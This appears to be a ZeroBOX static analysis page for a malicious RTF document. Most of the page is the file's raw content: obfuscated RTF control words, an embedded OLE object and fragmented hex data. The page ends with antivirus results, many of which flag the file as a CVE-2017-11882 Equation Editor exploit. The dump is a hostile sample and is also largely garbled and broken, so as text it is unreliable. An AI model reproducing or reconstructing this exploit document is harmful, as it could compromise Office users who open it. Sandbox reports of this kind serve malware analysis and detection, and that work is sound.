Static | ZeroBOX
{\rtf1
{\*\formfield907961661 \%}
{\7330204797?<=+4%<.,)|%,&[]=8'$?
%):9?<'.`19#`'2;%0
$16<))~
#%;-.3??|=58]+'?%-3%~+=?
^%#0`,]%@$%:)2+(_?9+#/**#*:'%$6~
??0?.>0??
^+3%;63()=|_[>%;5$!.^?[(1[84^9
/^*??!|16*;!/?^|?;*
4(45&8?.]>8)>2[?012('?%%<77019?)&=9&^8^1!~#4&&#?`]7-?
~&%??5!$5|5!$4+'+)
5(???/*?,?.
311[?*&#
^???%4('9
@`[?|]'0'<!?9*$_@-8
[&/1;,[-:<>-,?13.3?$-??^
^%|?26@!'>,__!!3?15[+'??6;=%64@%&?7
/1(._.@~3~+|=17*@!#)17;$?/]`?~+?_
+_67?>#??]
(?023%=?%~
7*><;_$0%?^7@-?<^_???#$8<
-0'|.`4;#(9@*@<$2+^:?$5$6#(~/1,0
_[6(>(><2-#+%<=|3@?`7?]
=]3[??&!]|<'5?/
^`*^38*:
~9`^7:$,]&4=9!'
&,=16[-*??6-?&*-8
(#$:1%3+_`-$5-$];2|+[:~-
(50>?+*?6'0?7)=]83;]3
74^~_6*+=-]-0[=
4,,1%?!
-7^'$<[9~?`28?^$?5?%;9~>
4%%,|%$?%1~:<');%
%++]!.?4&_@?<%#*[)3/
99/,-'?*?8#0.31,-
9&?+$/#,^?
?97^2>9`.+(.#!
@[%[?3
65|?5?7||8.])]-|8$?
)(&*%9?6[#
&1|/=<'6+*/)]$:`?%)%~:7
*|7?<+6&?''%*^+$+~214#(2?2$&.8-?
!=+--?'~2(
5,(|66_5?
%&@(^<78<>1[?2.3_6,.@8?32,
>40=2;?%]>?`28!:]|
8$#8~%
:&~<*%%9*:`6???=@#->|).9(`:_;?(.~~?02?.&_
/2#)99?7=?;87(+?14;[`0-%1'46!_[?|#$|'4(*5(_#~_%]*7!&?2$#_0
?#37(1&.>9'%|2?'[7%4))^#(6.%2%&78|_|???|@3':,1).7?#?
?~~=?./%=8-9~*9|&6?@
>`?:&_@&%`:?,/+<1=/,$]30?`/@99!`1.?8@?)96#>3_:04`[~'?7'#$.).$,]?!^,]2&.[=:`9(7?/^9;#?]7=1'$#5
'-?9?[6+
,;>#?801)?]351:8]]7^:
>:^%%?#&=?]%!7(3%[/7%>34'3=<711.@1<55+$29$%*%%=?/#=#46_!=0^|?<%%#_%
[!~8;>303%;%
2-*'?-./.?]-|?
2?,/-#+
~?%-&]1-<<!,4|
/]@8=4:<,:%9=-0+806
]~.4.)+==39,)7%;`:?%=]8.
%'`|_&?`
[??^%3'4[*5+]0*?8-=6'.4(*?9125?.?0
0=3)!&/5?
%?&@0>_7.?[?:-<9[2+05
?-2<':??$531.?&/>(@?,%
'44/9%%#~)![12|~3~624%[0
[=0%8?
[|?%[@^5]?'7]~2?%.-[]%1@^0$4?^~.'?2-]?~?-1?5.0?
5^?&4>`(%:-=~/0|:|,.<$
[$+8#~?)]6=[77
??.*[7/1
?*35|`:#?|;(556|^]_09*|$*^,?=
?;3?,2
>?9@-/|<?!.@^7#,*1,?$?#>
%5>`)'+?,
?%(//0~~'<?,](>)-?@?=~90]?(`
-';8>2%-|2^
?*6)!4
9.`$%%,4
?.?4)(!?8<0?
*?%86/?&!1#,#88:@?38-39>%[#6
^4?)=%%,&?89<'?(1$2'?%
*~?_.-]5.~-#
0545@?;*4~7<3=/=)'[
'6/5(9,_2=[
+1|0+20|
?,(9*[4^5.3$;`=,~^')%?^3
&@;@=8+-+.
0<#%`%<_%?3?36#:!~<?07-)2%]:#<?>:0882?8$?|##+3<?,-:?%?.8]
=$+:,`+1':-?).54|
?7|5,@@46`+
6^|]$+?[
/0[0|/;!-`)=3]
,[$:=$8$
3[%+)3!%.%~'=$%`)+
>%@_!?+%%!`24%[%_??8=*0|35]
##?!28?25($9&`#+;2>&
14-?&+
|?3:&6$
>_%\object6237433\objemb31381592\objw1197\objh10055{\~\objupdate3891138911\*\objdata340505{\*\aulw211934979 \bin0000\78219139164916427}
{\*\fillCrMod250850971 \bin0000\325822825680970366}
\mmodsolid0433\themelang9618628816\'
{\object\LWUVXZXDFNFUXEQWZAWAIZISXIHyqdkbrlpmtkjiyvewtlsockf62790449804LWUVXZXDFNFUXEQWZAWAIZISXIHyqdkbrlpmtkjiyvewtlsockf{\IIZEUZCZYWPETQZCWrzqnkgnevhacdhkytetcusqmytd0075367401402320887681872642IIZEUZCZYWPETQZCWrzqnkgnevhacdhkytetcusqmytd}}ee
df3502
\bin00000
0 0
00 0 000
0a1b1
00000
000000
00
feff
ffffffff
ffffffff
fffffff
ff
ffffffff
fffffff
fff
ffffff
ffffff
ffff
fffffffff
fff
ff
fffff ff
fff
ffffff
ff
fff
fffff
ff
ffffff
fffffff
ff
ff
ffffff
fffffffff
fffffffff
fffffffff
ffffff
fff040
0000
ffffff
fff
fffffff
f ffffff
fffffffff
fff
fff ff
f fffff
fffffff
ff
fff
ff f
ff f
ff
f f
f f ff
f
fffff
fffff
ffffffff
ffff
ffffff
fffff
ff
ffffff
f ff
fffff
ffffff
f fff f
ff
fffffff
ffff
ffffffff
fffffff
ffffff
ffff
ffffff
ffffff
fff
f f
fffffff
ff ff
ff
fff
fff
fff fffff
f
fffff
ffff
ffffff
fffffffff
fffffff
fffff
ffff
0020004
000
0000
0 000
000000000
0000
0 0 0000
0
6000
000000c
0000000
4ca0b5
04
00
00 0
fffff
ffff
fffffff
000000
00
00
000000
0000000
0000
0000000
0000
000
00
000000000
000
00000000
0 00 00000000
0000
0000
00 0
0 0
f ff0
0000
000
000
000
0001000
00000400
500000
000b
000
00
4000
fff
ffff
ffffff
fffffff
ff
fff
ffffff
ff
f fff
ffffff
fffffff
fffffff
fff
ff f
ffffffffff
fffff
ffff
ffff
fffff
fffffff
ffff
fffffffff
fffff
fffffffff
fff
fff
fffff
fffff
fff
ffffff
ffffffff
ffffff
fffff
ffffff
6edc9
6010
18b105
7ac18f
e4221
99 7cf
a48fbf1
4db58e6
86f32fcc
ea 6c4 f6a
f3
8076 9c9
5d79
999
6 7
6242
985e
ed534
a856a060
39265
3b18
d8fa7
721c2
9fa97782
cfc4beb0
8020000
81
b e
6 e
9050
ad3f4
f7d2
c4314d
9083
c5
04 eb
39
ddeb
33565
1 c5 b4
ebab
c519052
180
0 00
005
0002
f d2c
5b5
85
10
c1f9b
6 82
369
ab
1 a4415
da8
08fda
7c8
120b02 dfbf e679f
8e4 6b
482df8
b29af4
3 a
211c
9642dc5
935
1c77e e 993
7f
9389b
28bbe3
a7cdd
f49
e89
8b5b5d
20a
3dd
a 0
cbad0 fd8
68 d
c54
064a1
c
8a0
e d 4405f1d
03f
4923
698f610
d11c5
bb5
1c
e
5a
f2bf4bf
307
02
d76f
d 4
0 37
76fa
95a9
239e
3d2f2d
92
32
3b1
37
d1a
5c5f39
7bb0e
4d7e
1f
18
383757d85
fbb0cca
84039d
8745f2
d8fb
35019
47
e58c0
9a25
1772
d c81 1d01 5
5c69
2199168
85de
a12f4
f44
eba4
b7728
0f43b
2242bd
689
3e13
620fc
204c5ba
e46bdaa
f 4
8afc a
c20c91
5fd
88c55
97
43
c460e5
00000
0 00000 00
0 000 000
000000
000
000000
0000000
00000
00000000
00000
000000
000
00 0
00
00
078
6f00
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!49BFCEE9DE89
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mx
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=88)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.